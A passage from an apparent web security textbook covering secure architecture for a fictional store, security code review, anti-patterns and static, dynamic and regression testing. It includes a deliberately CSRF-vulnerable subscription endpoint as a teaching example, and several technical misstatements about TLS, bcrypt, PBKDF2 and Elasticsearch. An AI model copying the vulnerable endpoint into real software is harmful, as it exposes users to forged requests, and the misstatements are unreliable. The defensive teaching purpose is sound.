cookies?

• Personal data: Is it handled differently than other data? Do laws affect how we
should handle this data?

• Search engine: How is the search engine implemented? Does it draw from the
primary database as its single source of truth or use a separate cached database?
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Each of these risks brings up many questions about implementation details, which
provide surface area for a security engineer to assist in developing the application in a
more secure direction.

Authentication and Authorization
Because we are storing credentials and offering a different user experience to guests
and registered users, we know we have both an authentication and an authorization
system. This means we must allow users to log in, as well as be able to differentiate
among different tiers of users when determining what actions these users are allowed.

Furthermore, because we are storing credentials and support a login flow, we know
there are going to be credentials sent over the network. These credentials must also be
stored in a database, otherwise the authentication flow will break down.

This means we have to consider the following risks:

• How do we handle data in transit?
• How do we handle the storage of credentials?
• How do we handle various authorization levels of users?

Secure Sockets Layer and Transport Layer Security
One of the most important architectural decisions to tackle as a result of the risks we
have determined is how to handle data in transit. Data in transit is an important first-
step evaluation during architecture review because it will affect the flow of all data
throughout the web application.

An initial data-in-transit requirement should be that all data sent over the network is
encrypted en route. This reduces the risk of a man-in-the-middle attack, which could
steal credentials from our users and make purchases on their behalf (since we are
storing their financial data).

Secure Sockets Layer (SSL) and Transport Layer Security (TLS) are the two major
cryptographic protocols in use today for securing in-transit data from malicious eyes
in the middle of any network. SSL was designed by Netscape in the mid-1990s, and
several versions of the protocol have been released since then.

TLS was defined by RFC 2246 in 1999, and offered upgraded security in response to
several architectural issues in SSL (see Figure 18-1 for an example). TSL cannot inter‐
polate with older versions of SSL due to the amount of architectural differences
between the two. TLS offers the most rigid security, while SSL has higher adoption
but multiple vulnerabilities that reduce its integrity as a cryptographic protocol.
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Figure 18-1. Let’s Encrypt is one of only a few nonprofit security authorities (SA) that
provides certificates for TLS encryption

All major web browsers today will show a lock icon in the URL address bar when a
website’s communication is properly secured via SSL or TLS. The HTTP specification
offers “HTTPS” or “HTTP Secure,” a URI-scheme that requires TLS/SSL to be
present before allowing any data to be sent over the network. Browsers that support
HTTPS will display a warning to the end user if TLS/SSL connections are compro‐
mised when an HTTPS request is made.

For MegaMerch, we would want to ensure that all data is encrypted and TLS compat‐
ible prior to being sent over the network. The way TLS is implemented is generally
server specific, but every major web server software package offers an easy integra‐
tion to begin encrypting web traffic.
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Secure Credentials
Password security requirements exist for a number of reasons, but unfortunately,
most developers don’t understand what makes a password hacker-safe. Creating a
secure password has less to do with the length and number of special characters, but
instead has everything to do with the patterns that can be found in the password. In
cryptography, this is known as entropy—the amount of randomness and uncertainty.
You want passwords with a lot of entropy.

Believe it or not, most passwords used on the web are not unique. When a hacker
attempts to brute force logins to a web application, the easiest route is to find a list of
the top most common passwords and use that to perform a dictionary attack. An
advanced dictionary attack will also include combinations of common passwords,
common password structure, and common combinations of passwords. Beyond that,
classical brute forcing involves iterating through all possible combinations.

As you can see, it is not so much the length of the password that will protect you, but
instead the lack of observable patterns and avoidance of common words and phrases.
Unfortunately, it is difficult to convey this to users. Instead, we should make it diffi‐
cult for a user to develop a password that contains a number of well-known patterns
by having certain requirements.

For example, we can reject any password in a top one thousand password list and tell
the user it is too common. We should also prevent our users from using birthdates,
first name, last name, or any part of their address. At MegaMerch, we can require first
name, last name, and birthdate at signup and prevent these from being allowed
within the user’s password.

Hashing Credentials
When storing sensitive credentials, we should never store in plain text. Instead, we
should hash the password the first time we see it prior to storing it. Hashing a pass‐
word is not a difficult process, and the security benefits are massive.

Hashing algorithms differ from most encryption algorithms for a number of reasons.
First off, hashing algorithms are not reversible. This is a key point when dealing with
passwords. We don’t want even our own staff to be able to steal user passwords
because they might use those passwords elsewhere (a bad practice, but common), and
we don’t want that type of liability in the case of a rogue employee.

Next, modern hashing algorithms are extremely efficient. Today’s hashing algorithms
can represent multiple-megabyte strings of characters in just 128 to 264 bits of data.
This means that when we do a password check, we will rehash the user’s password at
login and compare it to the hashed password in the database. Even if the user has a
huge password, we will be able to perform the lookup at high speeds.
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Another key advantage of using a hash is that modern hashing algorithms have
almost no collision in practical application (either 0 collisions, or statistically
approaching 0—1/1,000,000,000+). This means you can mathematically determine
that the probability that two passwords will have identical hashes will be extraordi‐
narily low. As a result, you do not need to worry about hackers “guessing” a password
unless they guess the exact password of another user.

If a database is breached and data is stolen, properly hashed passwords protect your
users. The hacker will only have access to the hash, and it will be very unlikely that
even a single password in your database will be reverse engineered.

Let’s consider three cases where a hacker gets access to MegaMerch’s databases:

Case #1
Passwords stored in plain text

Result
All passwords compromised

Case #2
Passwords hashed with MD5 algorithm

Result
Hacker can crack some of the passwords using rainbow tables (a precomputed
table of hash→password; weaker hashing algorithms are susceptible to these)

Case #3
Passwords hashed with BCrypt

Result
It is unlikely any passwords will be cracked

As you can see, all passwords should be hashed. Furthermore, the algorithm used for
hashing should be evaluated based on its mathematical integrity and scalability with
modern hardware. Algorithms should be SLOW on modern hardware when hashing,
hence reducing the number of guesses per second a hacker can make.

When cracking passwords, slow hashing algorithms are essential because the hacker
will be automating the password to hash process. Once the hacker finds an identical
hash to a password (ignoring potential collision), the password has been effectively
breached. Extremely slow to hash algorithms like BCrypt can take years or more to
crack one password on modern hardware.

Modern web applications should consider the following hashing algorithms for
securing the integrity of their users’ credentials.
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BCrypt
BCrypt is a hashing function that derives its name from two developments: the “B”
comes from Blowfish Cipher, a symmetric-key block cipher developed in 1993 by
Bruce Schneier, designed as a general purpose and open source encryption algorithm.
“Crypt” is the name of the default hashing function that shipped with Unix OSs.

The Crypt hashing function was written with early Unix hardware in mind, which
meant that at the time hardware could not hash enough passwords per second to
reverse engineer a hashed password using the Crypt function. At the time of its devel‐
opment, Crypt could hash fewer than 10 passwords per second. With modern hard‐
ware, the Crypt function can be used to hash tens of thousands of passwords per
second. This makes breaking a Crypt-hashed password an easy operation for any
current-era hacker.

BCrypt iterates on both Blowfish and Crypt by offering a hashing algorithm that
actually becomes slower on faster hardware. BCrypt-hashed passwords scale into the
future, because the more powerful the hardware attempting to hash using BCrypt, the
more operations are required. As a result, it is nearly impossible for a hacker today to
write a script that would perform enough hashes to match a complex password using
brute force.

PBKDF2
As an alternative to BCrypt, the PBKDF2 hashing algorithm can also be used to
secure passwords. PBKDF2 is based on a concept known as key stretching. Key
stretching algorithms will rapidly generate a hash on the first attempt, but each addi‐
tional attempt will become slower and slower. As a result, PBKDF2 makes brute forc‐
ing a computationally expensive process.

PBKDF2 was not originally designed for hashing passwords, but should be sufficient
for hashing passwords when BCrypt-like algorithms are not available.

PBKDF2 takes a configuration option that represents the minimum number of itera‐
tions in order to generate a hash. This minimum should always be set to the highest
number of iterations your hardware can handle. You never know what type of hard‐
ware a hacker might have access to, so by setting the minimum iterations for a hash
to your hardware’s maximum value, you are eliminating potential iterations on faster
hardware and eliminating any attempts on slower hardware.

In our evaluation of MegaMerch, we have decided to hash our passwords using
BCrypt and will only compare password hashes.
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2FA
In addition to requiring secure, hashed passwords that are encrypted in transit, we
also should consider offering 2FA to our users who want to ensure their account
integrity is not compromised. Figure 18-2 shows Google Authenticator, one of the
most common 2FA applications for Android and iOS. It is compatible with many
websites and has an open API for integrating into your application. 2FA is a fantastic
security feature that operates very effectively based on a very simple principle.

Figure 18-2. Google Authenticator—one of the most commonly used 2FA applications
for Android and iOS
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Most 2FA systems require a user to enter a password into their browser, in addition to
entering a password generated from a mobile application or SMS text message. More
advanced 2FA protocols actually make use of a physical hardware token, usually a
USB drive that generates a unique one-time-use token when plugged into a user’s
computer. Generally speaking, the physical tokens are more applicable to the
employees of a business than to its users. Distributing and managing physical tokens
for an ecommerce platform would be a painful experience for everyone involved.

Phone app/SMS-based 2FA might not be as secure as a dedicated 2FA USB token, but
the benefits are still an order of magnitude safer than application use without 2FA.

In the absence of any vulnerabilities in the 2FA app or messaging protocol, 2FA elimi‐
nates remote logins to your web application that were not initiated by the owner of
the account. The only way to compromise a 2FA account is to gain access to both the
account password and the physical device containing the 2FA codes (usually a
phone).

During our architecture review with MegaMerch, we strongly suggest offering 2FA to
users who wish to improve the security of their MegaMerch accounts.

PII and Financial Data
When we store personally identifiable information (PII) on a user, we need to ensure
that such storage is legal in the countries we are operating in, and that we are follow‐
ing any applicable laws for PII storage in those countries. Beyond that, we want to
ensure that in the case of a database breach or server compromise, the PII is not
exposed in a format that makes it easily abusable. Similar rules to PII apply to finan‐
cial data, such as credit card numbers (also included under PII laws in some
countries).

A smaller company might find that rather than storing PII and financial details on its
own, a more effective strategy could be to outsource the storage of such data to a
compliant business that specializes in data storage of that type.

Searching
Any web application implementing its own custom search engine should consider the
implications of such a task. Search engines typically require data to be stored in a way
that makes particular queries very efficient. How data is ideally stored in a search
engine is much different than how data is ideally stored in a general purpose
database.

As a result, most web applications implementing a search engine will need a separate
database from which the search engine draws its data. As you can clearly see, this
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could cause a number of complications, requiring proper security architecture up
front rather than later.

Syncing any two databases is a big undertaking. If the permissions model in the pri‐
mary database is updated, the search engine’s database must be updated to reflect the
changes in the primary database.

Additionally, it’s possible that bugs introduced into the codebase might cause certain
models to be deleted in the primary database, but not in the search database. Alterna‐
tively, metadata in the search database regarding a particular object may still be
searchable after the object has been removed from the primary database.

All of these are examples of concerns when implementing search that should defi‐
nitely be considered before implementing any search engine, be it Elasticsearch or an
in-house solution. Elasticsearch is the largest and most extensively used open source
distributed search (Figure 18-3). It’s easily configurable, well documented, and can be
used in any application free of charge. It is based on top of Apache’s Solr search
engine project.

Figure 18-3. The Elasticsearch search engine
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Summary
As discussed in this chapter, there are many concerns to be considered when building
an application. Whenever a new application is being developed by a product organi‐
zation, the design and architecture of the application should also be analyzed care‐
fully by a skilled security engineer or architect. Deep security flaws—such as an
improper authentication scheme, or half-baked integration with a search engine—
could expose your application to risk that is not easily resolved. Once paying custom‐
ers begin relying on your application in their workflows, especially after contracts are
written and signed, resolving architecture-level security bugs will become a daunting
task.

At the beginning of this chapter, I included the estimate from NIST that a security
flaw found in the architecture phase of an application could cost 30 to 60 times less to
fix than if it is found in production.

This can be because of a combination of factors, including the following:

• Customers may be relying on insecure functionality, hence causing you to build
secure equivalent functionality and provide them with a migration plan so that
downtime is not encountered.

• Deep architecture-level security flaws may require rewriting a significant number
of modules, in addition to the insecure module. For example, a complex 3D video
game with a flawed multiplayer module may require rewriting of not only the
networking module, but the game modules written on top of the multiplayer net‐
working module as well. This is especially true if an underlying technology has to
be swapped out to improve security (moving from UDP or TCP networking, for
example).

• The security flaw may have been exploited, costing the business actual money in
addition to engineering time.

• The security flaw may be published, bringing bad PR against the affected web
application, costing the business in lost engagements and customers who will
choose to leave.

Ultimately, the ideal phase to catch and resolve security concerns is always the archi‐
tecture phase. Eliminating security issues in this phase will save you money in the
long run, and eliminate potential headaches caused by external discovery or publica‐
tion later on.
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CHAPTER 19

Reviewing Code for Security

The code review stage must always occur after the architecture stage in a security-
conscious organization, and never before.

Some technology companies today uphold a “move fast and break things” mantra,
but such a philosophy often is abused and used as a method of ignoring proper secu‐
rity processes. Even in a fast-moving company, it is imperative that application archi‐
tecture is reviewed prior to shipping code. Although from a security perspective it
would be ideal to review the entire feature architecture upfront, this may not be feasi‐
ble in uncertain conditions. As such, at a minimum the major and well-known fea‐
tures should be architected and reviewed, and when new features come up they
should be both architected and reviewed for security prior to development as well.

The proper time to review code for security gaps is once the architecture behind the
code commit has been properly reviewed. This means code reviews should be the sec‐
ond step in an organization that follows secure development best practices.

This has two benefits. The first and most obvious benefit is that of security, but hav‐
ing an additional reviewer who typically is viewing the code from outside the imme‐
diate development team has its own merits as well. This provides the developer with
an unbiased pair of eyes that may catch otherwise unknown bugs and architecture
flaws.

As such, the code security review phase is vital for both application functionality as
well as application security. Code security reviews should be implemented as an addi‐
tional step in organizations that only have functional reviews. Doing so will dramati‐
cally reduce the number of high-impact security bugs that would otherwise be
released into a production environment.

Generally speaking, code security reviews make the most sense when they take place
on merge requests (also traditionally called “pull requests,” which is less of an
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accurate term in most cases). It makes sense to perform code security reviews at
merging, as the full feature set has been developed and all systems that require con‐
nection should have been integrated. This is one point in time where the full scope of
the code can be reviewed in a single sitting.

It may be possible to intertwine the code security review with the development pro‐
cess in a more granular method, such as per commit or even with a pair-
programming approach. Either method would require consistent, ongoing work as
both would see the code from a point in time that does not cover the full scope of the
code. However, for mission-critical security features this may be a wise approach.
With one mind focused on the feature and another on security, it may be possible to
write an extremely security-conscious feature that would be otherwise impossible
with reviews at merge-request time.

The timing your organization chooses for reviewing its code for security holes is up
to the organization and must fit in with its existing processes. However, the preceding
methods likely will be the most practical and effective for integrating security code
reviews into your development process.

How to Start a Code Review
A code security review should operate very similarly to a code functionality review.
Functionality reviews are standard in almost every development organization, which
makes the learning curve for code security reviews much shorter.

A first step in reviewing code for security is to pull the branch in question down to a
local development machine. Some organizations allow reviews in a web-based editor
(provided by GitHub or GitLab; see Figure 19-1), but these online tools are not as
comprehensive as the tools you can take advantage of locally.

Here is a common local review flow that can be done from the terminal:

1. Check out master with git checkout master.
2. Fetch and merge the latest master with git pull origin master.
3. Check out the feature branch with git checkout <username>/feature.
4. Run a diff against the master with git diff origin/master...

The git diff command should return two things:

• A list of files that differ on master and the current branch
• A list of changes in those files between master and the current branch
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Figure 19-1. GitHub and its competitors (GitLab, Bitbucket, etc.) all offer web-based
collaboration tools for making code reviews easier

This is the starting point for any code functionality review and any code security
review. The differences between the two start after this point.

Archetypical Vulnerabilities Versus Custom Logic Bugs
A code functionality review checks code to ensure it meets a feature spec and does
not contain usability bugs. A code security review checks for common vulnerabilities
such as XSS, CSRF, injection, and so on, but more importantly checks for logic-level
vulnerabilities that require deep context into the purpose of the code and cannot be
easily found by automated tools or scanners.

In order to find vulnerabilities that arise from logic bugs, we need to first have con‐
text in regard to the goal of the feature. This means we need to understand the users
of the feature, the functionality of the feature, and the business impact of the feature.

Here we run into some differences in what we have primarily discussed throughout
the book when we talk about vulnerabilities. Most of the vulnerabilities we have
investigated are common archetypes of well-known vulnerabilities. But it is just as
possible that an application with a very specific use case has vulnerabilities that can‐
not be listed in a book designed for general education on software security.

Consider the following context regarding a new social media feature to be integrated
into MegaBank—MegaChat:
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• We are building a social media portal that allows registered users to apply for
membership.

• Membership is approved by moderators based on a review of the user’s activity
prior to membership.

• Users have limited functionality, but when upgraded to members they have
increased functionality.

• Moderators are automatically given member functionality, plus additional mod‐
eration capabilities.

• Unlike users, who can only post text media, members can upload games, videos,
and artwork.

• We gate the membership because hosting this type of media is expensive, and we
wish to reduce the amount of low-quality content as well as protect ourselves
from bot accounts and freeloaders who are only looking to host their content.

From this we can gather:

Users and roles
• The users are MegaBank customers.
• The users are split into three roles: user (default), member, and moderator.
• Each user role has different permissions and functionality.

Feature functionality
• Users, members, and moderators can post text.
• Members and moderators can post video, games, and images.
• Moderators can use moderation features, including upgrading users to members.

Business impact
• The cost of hosting video, games, and images is high.
• Membership comes at the risk of freeloading (storage/bandwidth cost) and bots

(storage/bandwidth cost).

An archetypical vulnerability would be an XSS in a post made by a user. A custom
logic vulnerability would be a specific API endpoint that is coding improperly and
allows a user to send up a payload with isMember: true in order to post videos,
although they have not been granted the member functionality by a moderator.

The code review is where we will look for archetypal vulnerabilities, but also try to
find custom logic vulnerabilities that require deep application context.
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Where to Start a Security Review
Ideally, you should begin your code review with the highest risk components of an
application. However, you may not always be aware of what those components are if
you have been asked to perform a security review against an application you did not
have a say in designing. This is frequent in consulting, or when working on existing
products.

As a result, I propose a framework to simplify the security code review process and
help you get started with a security review. This framework can be used until you are
familiar enough with the given application to begin evaluating features of the applica‐
tion based on risk.

Imagine a basic web application with two components: a client in the browser, and a
server that talks to that client. Sure, we could begin by reviewing the server-side code.
In fact, there is nothing wrong with that. But there may be functionality on the server
that is not exposed to the client. This means that without having a good understand‐
ing of the functionality intended for users (versus internal methods and such), your
effort may be accidentally focused on lower-risk code when high-risk code should be
prioritized.

This is a confusing concept to grasp, but just like in Chapter 18 on secure application
architecture, we need to realize that in an ideal world every piece of application code
would be equally reviewed. Unfortunately, that reflects an ideal world, and in the real
world there are often deadlines, timelines, and alternate projects that require
attention.

As a result, a good place to start in the actual source code is anywhere that a client
(browser) makes a request to the server. Starting on the client is great because it will
begin to give you a good idea of the surface area you are dealing with. From there you
can learn what type of data is exchanged between the client and server, and if multiple
servers are being utilized rather than one. Furthermore, you can learn about the pay‐
loads being exchanged and how these payloads are being interpreted on the server.

After evaluating the client itself, you should follow the client’s API calls back to the
server. Begin evaluating calls that connect the client and the server in the web
application.

Once this is complete, you should probably consider tracing the helper methods,
dependencies, and functionality those APIs rely on. This means evaluating databases,
logs, uploaded files, conversion libraries, and anything else that the API endpoints
call directly or via a helper library.

Next, cover the bases by looking over every bit of functionality that could be exposed
to the client but isn’t directly called. This could be APIs built to support upcoming
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functionality, or perhaps just functionality that was accidentally exposed and should
be internal.

Finally, after those major points in the codebase have been covered, dedicate your
time to the rest of the codebase. Determine the route taken via analysis of the busi‐
ness logic and prioritization based on the risks you envision such an application
encountering.

To summarize, an effective way of determining what code to review in a security
review of a web application is as follows:

1. Evaluate the client-side code to gain understanding of the business logic and
understand what functionality users will be capable of using.

2. Using knowledge gained from the client review, begin evaluating the API layer, in
particular, the APIs you found via the client review. In doing this, you should be
able to get a good understanding of what dependencies the API layer relies on to
function.

3. Trace the dependencies in the API layer, carefully reviewing databases, helper
libraries, logging functions, etc. In doing this, you will get close to having covered
the majority of user-facing functionality.

4. Using the knowledge of the structure of the client-linked APIs, attempt to find
any public-facing APIs that may be unintentionally exposed or intended for
future feature releases. Review these as you find them.

5. Continue on throughout the remainder of the codebase. This should actually be
pretty easy because you will already be familiar with the codebase having read
through it in an organic method versus trying to brute force an understanding of
the application architecture.

This is not the only method of working your way through a security review, and cer‐
tain applications with niche security requirements may require a different review
path. However, I suggest this path because it will grant you familiarity with the appli‐
cation at an organic pace and allow you to prioritize user-facing functionality while
leaving potentially low-risk functionality toward the end.

As you become more familiar with the secure code review process, and the particular
applications you find yourself reviewing, you should be able to modify this set of
guidelines to better suit your application and the risks your application faces.
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Secure-Coding Anti-Patterns
Security reviews at the code level share some similarities with architecture reviews
that occur prior to code being written. Code reviews differ from architecture reviews
as they are the ideal point in time to actually find vulnerabilities, whereas such vul‐
nerabilities are only hypothetical if brought up during the architecture stage.

There are a number of anti-patterns to be on the lookout for as you go through any
security review. Many times, an anti-pattern is just a hastily implemented solution, or
a solution that was implemented without the appropriate prior knowledge. Regard‐
less of the cause, understanding how to spot anti-patterns will really help speed up
your review process.

The following anti-patterns are all quite common, but each of them can wreak havoc
on a system if they make it into a production build.

Blacklists
In the world of security, mitigations that are temporary should often be ignored and
instead a permanent solution should be found, even if it takes longer. The only time a
temporary or incomplete solution should be implemented is if there is a preplanned
timeline from which a true complete solution will be designed and implemented.

Blacklists are an example of temporary or incomplete security solutions.

Imagine you are building a server-side filtering mechanism for a list of acceptable
domains that your application can integrate with:

const blacklist = ['http://www.evil.com', 'http://www.badguys.net'];

/*
 * Determine if the domain is allowed for integration.
 */
const isDomainAccepted = function(domain) {
 return !blacklist.includes(domain);
};

This is a common mistake because it looks like a solution. But even if it currently acts
as a solution, it can be considered both incomplete (unless perfect knowledge of all
domains is considered, which is unlikely) and temporary (even with perfect knowl‐
edge of all current domains, more evil domains could be introduced in the future).

In other words, a blacklist only protects your application if you have perfect knowl‐
edge of all possible current and future inputs. If either of those cannot be obtained,
the blacklist will not offer sufficient protection and usually can be bypassed with a
little bit of effort (in this case, the hacker could just buy another domain).
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Whitelists are always preferable in the security world. This process could be much
more secure by just flipping the way integrations are permitted:

const whitelist = ['https://happy-site.com', 'https://www.my-friends.com'];

/*
 * Determine if the domain is allowed for integration.
 */
const isDomainAccepted = function(domain) {
  return whitelist.includes(domain);
};

Occasionally, engineers will argue that whitelists create difficult product development
environments, as whitelists require continual manual or automated maintenance as
the list grows. With manual effort, this can indeed be a burden, but a combination of
manual and automated effort could make the maintenance much easier while main‐
taining most of the security benefit.

In this example, requiring integrating partners to submit their website, business
license, etc., for review prior to being whitelisted would make it extremely difficult
for a malicious integration to slip through. Even if they did, it would be difficult for
them to get through again once removed from the whitelist (they would need a new
domain and business license).

Boilerplate Code
Another security anti-pattern to look for is the use of boilerplate or default framework
code. This is a big one, and easy to miss because often frameworks and libraries
require effort to tighten security, when they really should come with heightened secu‐
rity right out of the box and require loosening.

A classic example of this is a configuration mistake in MongoDB that caused older
versions of the MongoDB database to be accessible over the internet by default when
installed on a web server. Combined with no mandatory authentication requirements
on the databases, this resulted in tens of thousands of MongoDB databases on the
web being hijacked by scripts demanding Bitcoins in exchange for their return. A
couple of lines in a configuration file could have resolved this by preventing Mon‐
goDB from being internet accessible (locally accessible only).

Similar issues are found in most major frameworks used around the world. Take
Ruby on Rails, for example. Using boilerplate 404 page code can easily give away the
version of Ruby on Rails you are using. The same goes for EmberJS, which has a
default landing page designed to be removed in production applications.

Frameworks abstract away annoyingly difficult and routine work for developers, but
if the developers do not understand the abstraction occurring in the framework, it is
very possible the abstraction could be performed incorrectly and without proper
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security mechanisms in place. Hence, avoid launching any boilerplate code into pro‐
duction environments unless that boilerplate code has been properly evaluated and
configured.

Trust-By-Default Anti-Pattern
When building an application with multiple levels of functionality, all of which
request resources from the host operating system, it is crucial to implement a proper
permissions model for your own code.

Imagine an application capable of generating server-side logs, writing files to disk,
and performing updates against an SQL database. In many implementations, a user
account will be generated on the server with permissions for logging, database access,
and disk access. The application will run under this user account for all functionality.
However, this means that if a vulnerability is found that permits code execution or
alters the intended execution of the script, all three of these valuable server-side
resources could be compromised.

Instead, a secure application would generate permissions for logging, writing to disk,
and performing database operations independently of each other. Each module in a
secure application would run under its own user, with specifically configured permis‐
sions that only allow what the specific function requires to operate. By doing so, a
critical failure in one module would not leak over to the others, and a vulnerability in
the SQL module should not give a hacker access to files or logs on the server.

Client/Server Separation
A final anti-pattern to look out for is the client/server coupling anti-pattern. This
anti-pattern occurs when the client and server application code are so tightly bound
that one cannot function without the other. This anti-pattern is mostly found in older
web applications, but it still can be found in monolithic applications today.

A secure application consisting of a client and a server should have the client and the
server developed independently, and the two should communicate over a network
using a predefined data format and network protocol.

Applications that consist of deep coupling between the client and server code, for
example, PHP templating code with authentication logic, become much easier to
exploit due to lack of separation. Rather than reading the results of a network request,
a module sends back its HTML code, including any form data (for example, when
dealing with authentication). Then the server must be responsible for parsing that
HTML code and ensuring no script execution or parameter tampering occurs inside
both the HTML code and the authentication logic.
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In a totally separated client/server application, the server is not responsible for the
structure and content of the HTML data. Instead, the server rejects any HTML sent,
and only accepts authentication payloads using a predefined data transit format.

In a distributed application, each module is responsible for less unique security
mechanisms. On the other hand, a monolithic application that couples client and
server code must consider security mechanisms against many languages, and con‐
sider that the data received could be formatted a large number of ways rather than a
single, predefined way.

In conclusion, separation of concerns is always important from an engineering per‐
spective, and also from a security perspective. Properly separated modules result in
easier-to-manage security mechanisms, which do not need to overlap or consider
rare edge cases that would occur as a result of complex interactions between multiple
data/script types.

Summary
When reviewing code for security, we need to consider more than just looking for
common vulnerabilities (which we will discuss in upcoming chapters). We also need
to consider anti-patterns in the application that may look like solutions but become
problems later down the line. Code security reviews should also be comprehensive—
covering all of the potential areas for vulnerabilities to be found.

During code review, we need to consider the specific usage requirements of the appli‐
cation so that we can understand what logical vulnerabilities could be introduced that
would not easily fit into a common, predefined vulnerability archetype. When start‐
ing a code review, we should take a logical path that allows us to gain understanding
of the use cases for the application so that we can begin assessing and evaluating risk
in the application. In more established applications where high-risk areas are well
known, most of the reviewing effort should be focused on those areas, with the
remaining areas reviewed in descending order of risk.

Ultimately, integrating security reviews into your code review pipeline will help you
mitigate the odds of introducing vulnerabilities into your codebase if done correctly.
The code security review process should be part of any modern software development
pipeline, and should be performed by security-knowledgeable engineers alongside
the product or feature developer, when possible.
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CHAPTER 20

Vulnerability Discovery

After securely architected code has been designed, written, and reviewed, a pipeline
should be put in place to ensure that no vulnerabilities slip through the cracks.

Typically, applications with the best architecture experience the least amount of
vulnerabilities and the lowest risk vulnerabilities. After that, applications with suffi‐
ciently secure code review processes in place experience fewer vulnerabilities than
those without such processes, but more than those with a secure-by-default
architecture.

However, even securely architected and sufficiently reviewed applications still fall
prey to the occasional vulnerability. These vulnerabilities can slip through reviews, or
come as a result of an unexpected behavior when the application is run in a different
environment or its intended environment is upgraded.

As a result, you need vulnerability discovery processes in place that target production
code rather than preproduction code.

Security Automation
The initial step in discovering vulnerabilities past the architecture and review phases
is the automation phase.

Automating vulnerability discovery is essential, but not because it will catch all vul‐
nerabilities. Instead, automation is (usually) cheap, effective, and long-lasting.

Automated discovery techniques are fantastic at finding routine security flaws in code
that may have slipped past architects and code reviewers. Automated discovery tech‐
niques are not good at finding logical vulnerabilities specific to how your application
functions, or finding vulnerabilities that require “chaining” to be effective (multiple
weak vulnerabilities that produce a strong vulnerability when used together).

215



Security automation comes in a few forms; the most common are:

• Static analysis
• Dynamic analysis
• Vulnerability regression testing

Each of these forms of automation has a separate purpose and position in the applica‐
tion development life cycle, but each is essential as it picks up types of vulnerabilities
the others would not.

Static Analysis
The first type of automation you should write, and possibly the most common, is
static analysis. Static analyzers are scripts that look at source code and evaluate the
code for syntax errors and common mistakes. Static analysis can take place locally
during development (a linter) and on-demand against a source code repository or on
each commit/push to the master branch.

Many robust and powerful static analysis tools exist, such as the following:

• Checkmarx (most major languages—paid)
• PMD (Java—free)
• Bandit (Python—free)
• Brakeman (Ruby—free)

Each of these tools can be configured to analyze the syntax of a document containing
text and representing a file of code. None of these tools actually execute code, as that
would move them into the next category called dynamic analysis or sometimes run‐
time analysis.

Static analysis tools should be configured to look for common OWASP top 10 vulner‐
abilities.

Many of these tools exist for major languages, in both free and paid form. Static anal‐
ysis tools can also be written from scratch—but tools built in-house often do not per‐
form well on codebases at scale.

For example, the following exploits are often detectable via static analysis:

General XSS
Look for DOM manipulation with innerHTML.

Reflected XSS
Look for variables pulled from a URL param.
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DOM XSS
Look for specific DOM sinks like setInterval().

SQL Injection
Look for user-provided strings being used in queries.

CSRF
Look for state-changing GET requests.

DoS
Look for improperly written regular expressions.

Further configuration of static analysis tooling can also help you enforce best secure
coding practices. For example, your static analysis tools should reject API endpoints
that do not have the proper authorization functions imported, or functions consum‐
ing user input that do not draw from a single source of truth validations library.

Static analysis is powerful for general-purpose vulnerability discovery, but it may also
be a source of frustration as it will report many false positives.

Additionally, static analysis suffers when dealing with dynamic languages (like Java‐
Script). Statically typed languages like Java or C# are much easier to perform static
analysis on, as the tooling understands the expected data type, and that data cannot
change type as it traverses through functions and classes.

Dynamically typed languages, on the other hand, are much more difficult to perform
accurate static analysis on. JavaScript is a fine example of this because JavaScript vari‐
ables (including functions, classes, etc.) are mutable objects—they can change at any
point in time. Furthermore, with no typecasting it is difficult to understand the state
of a JavaScript application at any time without evaluating it at runtime.

To conclude, static analysis tooling is great for finding common vulnerabilities and
misconfigurations, particularly with regard to statically typed programming lan‐
guages. Static analysis tooling is not effective at finding advanced vulnerabilities
involving deep application knowledge, chaining of vulnerabilities, or vulnerabilities
in dynamically typed languages.

Dynamic Analysis
Static analysis looks at code, typically prior to execution. On the other hand, dynamic
analysis looks at code post-execution. Because dynamic analysis requires code execu‐
tion, it is much more costly and significantly slower.

In a large application, dynamic analysis requires a production-like environment
(servers, licenses, etc.) prior to having any utility.

Dynamic analysis is fantastic at picking up actual vulnerabilities, whereas static analy‐
sis picks up many potential vulnerabilities but has limited ways of confirming them.
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Dynamic analysis executes code prior to analyzing the outputs and comparing them
against a model that describes vulnerabilities and misconfigurations. This makes it
great for testing dynamic languages, as it can see the output of the code rather than
the (vague) inputs and flow. It is also great for finding vulnerabilities that occur as a
side effect of proper application operation—for example, sensitive data improperly
stored in memory or side-channel attacks.

Dynamic analysis tools exist for many languages and frameworks. Some examples of
these are:

• IBM AppScan (paid)
• Veracode (paid)
• Iroh (free)

Due to the increased complexity of functioning in a production-like environment, the
better tools are often paid or require significant upfront configuration. Simple appli‐
cations can build their own dynamic analysis tools, but for complete automation at
the CI/CD level, they will require significant effort and a bit of upfront cost.

Unlike static analysis tools, dynamic analysis tooling that is properly configured
should have fewer false positives and give deeper introspection with regard to your
application. The trade-off is in maintenance, cost, and performance when compared
to static analysis tooling.

Vulnerability Regression Testing
The final form of automation that is essential for a secure web application is vulnera‐
bility regression testing nets.

Static analysis and dynamic analysis tools are cool, but compared to regression tests
they are difficult to set up, configure, and maintain.

A vulnerability regression testing suite is simple. It works similarly to a functional or
performance testing suite, but tests previously found vulnerabilities to ensure they do
not get released into the codebase once again as a result of a rollback or overwrite.

You don’t need a special framework for security vulnerability tests. Any testing frame‐
work capable of reproducing the vulnerability should do. Figure 20-1 shows Jest, a
fast, clean, and powerful testing library for JavaScript applications. Jest can be easily
modified to test for security regressions.
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Figure 20-1. The Jest testing library

Imagine the following vulnerability. Software engineer Steve introduced a new API
endpoint in an application that allows a user to upgrade or downgrade their member‐
ship on-demand from a UI component in their dashboard:

const currentUser = require('../currentUser');
const modifySubscription = require('../../modifySubscription');

const tiers = ['individual', 'business', 'corporation'];

/*
 * Takes an HTTP GET on behalf of the currently authenticated user.
 *
 * Takes a param `newTier` and attempts to update the authenticated
 * user's subscription to that tier.
 */
app.get('/changeSubscriptionTier', function(req, res) {
 if (!currentUser.isAuthenticated) { return res.sendStatus(401); }
 if (!req.params.newTier) { return res.sendStatus(400); }
 if (!tiers.includes(req.params.newTier)) { return res.sendStatus(400); }
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 modifySubscription(currentUser, req.params.newTier)
 .then(() => {
   return res.sendStatus(200);
 })
 .catch(() => {
   return res.sendStatus(400);
 });
});

Steve’s old friend Jed, who is constantly critiquing Steve’s code, realizes that he can
make a request like GET /api/changeSubscriptionTier with any tier as the newTier
param and sends it via hyperlink to Steve. When Steve clicks this link, a request is
made on behalf of his account, changing the state of his subscription in his company’s
application portal.

Jed has discovered a CSRF vulnerability in the application. Luckily, although Steve is
annoyed by Jed’s constant critiquing, he realizes the danger of this exploit and reports
